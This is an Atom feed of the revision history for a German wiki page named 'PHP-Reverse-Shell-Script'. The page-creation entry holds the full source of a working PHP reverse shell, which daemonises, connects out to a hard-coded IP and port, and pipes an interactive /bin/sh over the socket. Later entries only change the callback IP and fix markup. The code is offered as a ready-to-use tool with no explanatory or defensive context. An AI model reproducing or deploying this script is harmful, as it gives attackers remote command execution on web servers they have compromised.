<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=PHP-Reverse-Shell-Script</id>
	<title>PHP-Reverse-Shell-Script - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=PHP-Reverse-Shell-Script"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;action=history"/>
	<updated>2026-06-29T09:54:38Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;diff=33300&amp;oldid=prev</id>
		<title>Thomas.will am 16. Mai 2022 um 14:29 Uhr</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;diff=33300&amp;oldid=prev"/>
		<updated>2022-05-16T14:29:49Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;de&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Nächstältere Version&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version vom 16. Mai 2022, 14:29 Uhr&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l3&quot; &gt;Zeile 3:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Zeile 3:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;set_time_limit (0);&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;set_time_limit (0);&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$VERSION = &amp;quot;1.0&amp;quot;;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$VERSION = &amp;quot;1.0&amp;quot;;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$ip = '10.0.10.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;109&lt;/del&gt;';  // CHANGE THIS&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$ip = '10.0.10.&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;101&lt;/ins&gt;';  // CHANGE THIS&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$port = 9999;       // CHANGE THIS&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$port = 9999;       // CHANGE THIS&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$chunk_size = 1400;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$chunk_size = 1400;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key my_wiki:diff::1.12:old-33292:rev-33300 --&gt;
&lt;/table&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;diff=33292&amp;oldid=prev</id>
		<title>Thomas.will am 16. Mai 2022 um 14:15 Uhr</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;diff=33292&amp;oldid=prev"/>
		<updated>2022-05-16T14:15:14Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;de&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Nächstältere Version&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version vom 16. Mai 2022, 14:15 Uhr&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l3&quot; &gt;Zeile 3:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Zeile 3:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;set_time_limit (0);&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;set_time_limit (0);&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$VERSION = &amp;quot;1.0&amp;quot;;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$VERSION = &amp;quot;1.0&amp;quot;;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$ip = '10.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;85&lt;/del&gt;.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;9&lt;/del&gt;.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;1&lt;/del&gt;';  // CHANGE THIS&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$ip = '10.&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;0&lt;/ins&gt;.&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;10&lt;/ins&gt;.&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;109&lt;/ins&gt;';  // CHANGE THIS&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$port = 9999;       // CHANGE THIS&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$port = 9999;       // CHANGE THIS&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$chunk_size = 1400;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;$chunk_size = 1400;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key my_wiki:diff::1.12:old-32982:rev-33292 --&gt;
&lt;/table&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;diff=32982&amp;oldid=prev</id>
		<title>Mario.zimmermann am 11. April 2022 um 13:13 Uhr</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;diff=32982&amp;oldid=prev"/>
		<updated>2022-04-11T13:13:06Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;de&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Nächstältere Version&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version vom 11. April 2022, 13:13 Uhr&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l144&quot; &gt;Zeile 144:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Zeile 144:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;?&amp;gt;  &lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;?&amp;gt;  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;syntaxhighlight&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;/&lt;/ins&gt;syntaxhighlight&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Mario.zimmermann</name></author>
	</entry>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;diff=32981&amp;oldid=prev</id>
		<title>Mario.zimmermann: Die Seite wurde neu angelegt: „&lt;syntaxhighlight lang=&quot;php&gt; &lt;?php set_time_limit (0); $VERSION = &quot;1.0&quot;; $ip = '10.85.9.1';  // CHANGE THIS $port = 9999;       // CHANGE THIS $chunk_size = 140…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=PHP-Reverse-Shell-Script&amp;diff=32981&amp;oldid=prev"/>
		<updated>2022-04-11T13:12:55Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;gt; &amp;lt;?php set_time_limit (0); $VERSION = &amp;quot;1.0&amp;quot;; $ip = &amp;#039;10.85.9.1&amp;#039;;  // CHANGE THIS $port = 9999;       // CHANGE THIS $chunk_size = 140…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
set_time_limit (0);&lt;br /&gt;
$VERSION = &amp;quot;1.0&amp;quot;;&lt;br /&gt;
$ip = '10.85.9.1';  // CHANGE THIS&lt;br /&gt;
$port = 9999;       // CHANGE THIS&lt;br /&gt;
$chunk_size = 1400;&lt;br /&gt;
$write_a = null;&lt;br /&gt;
$error_a = null;&lt;br /&gt;
$shell = 'uname -a; w; id; /bin/sh -i';&lt;br /&gt;
$daemon = 0;&lt;br /&gt;
$debug = 0;&lt;br /&gt;
&lt;br /&gt;
//&lt;br /&gt;
// Daemonise ourself if possible to avoid zombies later&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// pcntl_fork is hardly ever available, but will allow us to daemonise&lt;br /&gt;
// our php process and avoid zombies.  Worth a try...&lt;br /&gt;
if (function_exists('pcntl_fork')) {&lt;br /&gt;
	// Fork and have the parent process exit&lt;br /&gt;
	$pid = pcntl_fork();&lt;br /&gt;
	&lt;br /&gt;
	if ($pid == -1) {&lt;br /&gt;
		printit(&amp;quot;ERROR: Can't fork&amp;quot;);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	if ($pid) {&lt;br /&gt;
		exit(0);  // Parent exits&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// Make the current process a session leader&lt;br /&gt;
	// Will only succeed if we forked&lt;br /&gt;
	if (posix_setsid() == -1) {&lt;br /&gt;
		printit(&amp;quot;Error: Can't setsid()&amp;quot;);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$daemon = 1;&lt;br /&gt;
} else {&lt;br /&gt;
	printit(&amp;quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Change to a safe directory&lt;br /&gt;
chdir(&amp;quot;/&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Remove any umask we inherited&lt;br /&gt;
umask(0);&lt;br /&gt;
&lt;br /&gt;
//&lt;br /&gt;
// Do the reverse shell...&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Open reverse connection&lt;br /&gt;
$sock = fsockopen($ip, $port, $errno, $errstr, 30);&lt;br /&gt;
if (!$sock) {&lt;br /&gt;
	printit(&amp;quot;$errstr ($errno)&amp;quot;);&lt;br /&gt;
	exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Spawn shell process&lt;br /&gt;
$descriptorspec = array(&lt;br /&gt;
   0 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;r&amp;quot;),  // stdin is a pipe that the child will read from&lt;br /&gt;
   1 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;),  // stdout is a pipe that the child will write to&lt;br /&gt;
   2 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;)   // stderr is a pipe that the child will write to&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
$process = proc_open($shell, $descriptorspec, $pipes);&lt;br /&gt;
&lt;br /&gt;
if (!is_resource($process)) {&lt;br /&gt;
	printit(&amp;quot;ERROR: Can't spawn shell&amp;quot;);&lt;br /&gt;
	exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Set everything to non-blocking&lt;br /&gt;
// Reason: Occsionally reads will block, even though stream_select tells us they won't&lt;br /&gt;
stream_set_blocking($pipes[0], 0);&lt;br /&gt;
stream_set_blocking($pipes[1], 0);&lt;br /&gt;
stream_set_blocking($pipes[2], 0);&lt;br /&gt;
stream_set_blocking($sock, 0);&lt;br /&gt;
&lt;br /&gt;
printit(&amp;quot;Successfully opened reverse shell to $ip:$port&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
while (1) {&lt;br /&gt;
	// Check for end of TCP connection&lt;br /&gt;
	if (feof($sock)) {&lt;br /&gt;
		printit(&amp;quot;ERROR: Shell connection terminated&amp;quot;);&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// Check for end of STDOUT&lt;br /&gt;
	if (feof($pipes[1])) {&lt;br /&gt;
		printit(&amp;quot;ERROR: Shell process terminated&amp;quot;);&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// Wait until a command is end down $sock, or some&lt;br /&gt;
	// command output is available on STDOUT or STDERR&lt;br /&gt;
	$read_a = array($sock, $pipes[1], $pipes[2]);&lt;br /&gt;
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);&lt;br /&gt;
&lt;br /&gt;
	// If we can read from the TCP socket, send&lt;br /&gt;
	// data to process's STDIN&lt;br /&gt;
	if (in_array($sock, $read_a)) {&lt;br /&gt;
		if ($debug) printit(&amp;quot;SOCK READ&amp;quot;);&lt;br /&gt;
		$input = fread($sock, $chunk_size);&lt;br /&gt;
		if ($debug) printit(&amp;quot;SOCK: $input&amp;quot;);&lt;br /&gt;
		fwrite($pipes[0], $input);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// If we can read from the process's STDOUT&lt;br /&gt;
	// send data down tcp connection&lt;br /&gt;
	if (in_array($pipes[1], $read_a)) {&lt;br /&gt;
		if ($debug) printit(&amp;quot;STDOUT READ&amp;quot;);&lt;br /&gt;
		$input = fread($pipes[1], $chunk_size);&lt;br /&gt;
		if ($debug) printit(&amp;quot;STDOUT: $input&amp;quot;);&lt;br /&gt;
		fwrite($sock, $input);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// If we can read from the process's STDERR&lt;br /&gt;
	// send data down tcp connection&lt;br /&gt;
	if (in_array($pipes[2], $read_a)) {&lt;br /&gt;
		if ($debug) printit(&amp;quot;STDERR READ&amp;quot;);&lt;br /&gt;
		$input = fread($pipes[2], $chunk_size);&lt;br /&gt;
		if ($debug) printit(&amp;quot;STDERR: $input&amp;quot;);&lt;br /&gt;
		fwrite($sock, $input);&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
fclose($sock);&lt;br /&gt;
fclose($pipes[0]);&lt;br /&gt;
fclose($pipes[1]);&lt;br /&gt;
fclose($pipes[2]);&lt;br /&gt;
proc_close($process);&lt;br /&gt;
&lt;br /&gt;
// Like print, but does nothing if we've daemonised ourself&lt;br /&gt;
// (I can't figure out how to redirect STDOUT like a proper daemon)&lt;br /&gt;
function printit ($string) {&lt;br /&gt;
	if (!$daemon) {&lt;br /&gt;
		print &amp;quot;$string\n&amp;quot;;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
?&amp;gt; &lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Mario.zimmermann</name></author>
	</entry>
</feed>